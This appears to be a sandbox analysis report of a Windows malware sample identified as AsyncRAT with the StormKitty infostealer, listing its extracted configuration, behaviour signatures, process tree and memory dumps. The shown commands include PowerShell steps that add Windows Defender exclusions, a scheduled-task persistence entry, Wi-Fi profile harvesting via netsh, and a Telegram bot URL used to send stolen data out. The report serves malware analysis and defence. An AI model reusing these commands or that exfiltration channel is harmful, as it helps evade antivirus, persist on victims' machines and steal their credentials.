Analysis
- max time kernel
146s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
25/06/2024, 16:41
General
- Target kNO9ox8ymOdMytA.exe
- Size 786KB
- Sample240625-t696bs1eka
- SHA256 df45889d4ef60520e6cf0d57ecf264341f0cee424179de909a77e196767d1e25
Malware Config
Extracted
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asyncrat
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Default
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127.0.0.1:6606
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127.0.0.1:7707
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127.0.0.1:8808
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https://api.telegram.org/bot7347251915:AAE-cWIxU4K0OS1lWceCOAEd9LiFmDAJ4nM/sendMessage?chat_id=7332232313
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AsyncMutex_6SI8OkPnk
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delay
3
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install
false
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install_folder
%AppData%
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- StormKitty
StormKitty is an open source info stealer written in C#.
- StormKitty payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Drops desktop.ini file(s) 8 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 34 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 38 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\kNO9ox8ymOdMytA.exe"C:\Users\Admin\AppData\Local\Temp\kNO9ox8ymOdMytA.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\kNO9ox8ymOdMytA.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wzIdzUUWegDy.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wzIdzUUWegDy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp85AB.tmp"2⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Temp\kNO9ox8ymOdMytA.exe"C:\Users\Admin\AppData\Local\Temp\kNO9ox8ymOdMytA.exe"2⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\chcp.comchcp 650014⤵
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\SysWOW64\findstr.exefindstr All4⤵
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-
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\chcp.comchcp 650014⤵
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C:\Windows\SysWOW64\netsh.exenetsh wlan show networks mode=bssid4⤵
- Event Triggered Execution: Netsh Helper DLL
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-
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
msgid.dat
kNO9ox8ymOdMytA.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_gdtcuxmz.juo.ps1
tmp85AB.tmp
Bookmarks.txt
Process.txt
memory/624-15-0x000000007501E000-0x000000007501F000-memory.dmp
memory/624-8-0x0000000006860000-0x00000000068D4000-memory.dmp
memory/624-9-0x0000000008FF0000-0x000000000908C000-memory.dmp
memory/624-25-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/624-7-0x0000000005C80000-0x0000000005C8C000-memory.dmp
memory/624-6-0x0000000005A50000-0x0000000005A60000-memory.dmp
memory/624-5-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/624-4-0x0000000005660000-0x000000000566A000-memory.dmp
memory/624-0-0x000000007501E000-0x000000007501F000-memory.dmp
memory/624-49-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/624-3-0x0000000005700000-0x0000000005792000-memory.dmp
memory/624-2-0x0000000005CB0000-0x0000000006254000-memory.dmp
memory/624-1-0x0000000000B90000-0x0000000000C5A000-memory.dmp
memory/764-79-0x0000000007CB0000-0x0000000007CC1000-memory.dmp
memory/764-75-0x0000000008100000-0x000000000877A000-memory.dmp
memory/764-88-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/764-26-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/764-19-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/764-78-0x0000000007D30000-0x0000000007DC6000-memory.dmp
memory/764-76-0x0000000007AB0000-0x0000000007ACA000-memory.dmp
memory/764-24-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/764-50-0x00000000067A0000-0x00000000067BE000-memory.dmp
memory/764-51-0x00000000067D0000-0x000000000681C000-memory.dmp
memory/764-52-0x0000000007950000-0x0000000007982000-memory.dmp
memory/764-53-0x00000000758C0000-0x000000007590C000-memory.dmp
memory/764-63-0x0000000006D50000-0x0000000006D6E000-memory.dmp
memory/764-74-0x0000000007990000-0x0000000007A33000-memory.dmp
memory/1888-82-0x0000000007010000-0x000000000702A000-memory.dmp
memory/1888-16-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/1888-22-0x0000000005220000-0x0000000005286000-memory.dmp
memory/1888-77-0x0000000006D40000-0x0000000006D4A000-memory.dmp
memory/1888-27-0x0000000005390000-0x00000000056E4000-memory.dmp
memory/1888-14-0x0000000004420000-0x0000000004456000-memory.dmp
memory/1888-80-0x0000000006F00000-0x0000000006F0E000-memory.dmp
memory/1888-81-0x0000000006F10000-0x0000000006F24000-memory.dmp
memory/1888-20-0x0000000004900000-0x0000000004922000-memory.dmp
memory/1888-18-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/1888-83-0x0000000006FF0000-0x0000000006FF8000-memory.dmp
memory/1888-21-0x0000000004AA0000-0x0000000004B06000-memory.dmp
memory/1888-89-0x0000000075010000-0x00000000757C0000-memory.dmp
memory/1888-64-0x00000000758C0000-0x000000007590C000-memory.dmp
memory/1888-17-0x0000000004BF0000-0x0000000005218000-memory.dmp
memory/4396-238-0x0000000005EE0000-0x0000000005EEA000-memory.dmp
memory/4396-244-0x0000000005FC0000-0x0000000005FD2000-memory.dmp
memory/4396-37-0x0000000000400000-0x0000000000432000-memory.dmp